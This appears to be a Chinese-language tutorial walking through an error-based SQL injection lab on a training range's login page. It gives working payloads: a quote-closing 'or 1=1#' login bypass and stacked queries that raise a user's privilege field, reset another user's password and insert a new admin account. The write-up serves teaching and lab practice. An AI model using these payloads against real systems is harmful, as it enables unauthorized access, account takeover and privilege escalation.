- 在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号
'
, 引起执行查询语句的语法错误,服务器直接返回了错误信息。 - 下面我们来看个例子 靶场由知识盒子提供,地址:https://tofu.exeye.run/sql/log_page
- 这是一个登录页面
- 这个登录界面给了我们默认的账户名:
staff_jack
- 然后我们随便输入一个密码,开启抓包,点击登录
- 将这个包发送到
Repeater
,直接发送,我们可以看到响应的信息提示账号密码错误
- 那么我们将123直接改成一个单引号
'
看看能不能造成语法错误,让他回显错误 - 点击Go收到响应,可以看到确实收到错误代码,而且提示了sql语法错误
所以这个地方可能存在sql注入,接下来我们可以尝试在语句中加入or‘1=1’让语句无条件返回正确值
那么就应该在密码处输入
123'or 1=1# #这里123后面的单引号是为了闭合前面的引号,#是为了注释掉后面的引号 #所以构造的语句完整是 select s_user,s_power from staff where s_user ='staff_jack' and s_psw ='123' or 1=1
- 改完密码后提交后响应内容是这样的
- 可以看到返回的code值为0,但是权限不够,直接登录网站也可以看到
我猜想响应内容中,
s_power
字段应该就是用来标记权限用的既然可以注入’1=1‘,那为什么不可以直接注入update的语句将权限字段改为1呢
所以要修改权限,payload就应该改成这样:
123' OR '1=1';update staff set s_power=1 where s_user='staff_bob'# 这段的意思从表staff中找出用户staff_bob,然后将权限字段s_power=1改为1
- 接下来再看看响应内容,可以看到返回的是404 not found
- 返回404,说明我们的代码可能执行成功了,导致后端没有返回值
- 接着我们可以尝试下重新登录账号,成功修改权限拿到flag
- 通过分析上述操作,其实我们可以更进一步,修改已经有的密码或者创建自己的管理员账号
- 那么就来试试吧
- 首先尝试构造语句,尝试直接修改
staff_bob
的密码
123' OR 1=1;update staff set s_psw='123456' where s_user='staff_bob' # #这段的意思是从表中找出用户staff_bob,然后将密码设置为123456
然后尝试用123456登录,登录成功,但是不知道为啥,权限又变回了0,可能是靶场的规则吧
接着我们试试能不能直接创建一个账户
目前已经知道的字段有
s_user
、s_psw
、s_power
构造payload
123' OR 1=1;INSERT INTO staff (s_user,s_psw,s_power) VALUES ('wkai','wkai','1')# #向表staff中插入用户名wkai,密码wkai,权限1
最后再用wkai这个账号登录,发现不仅能登录,而且权限也直接是1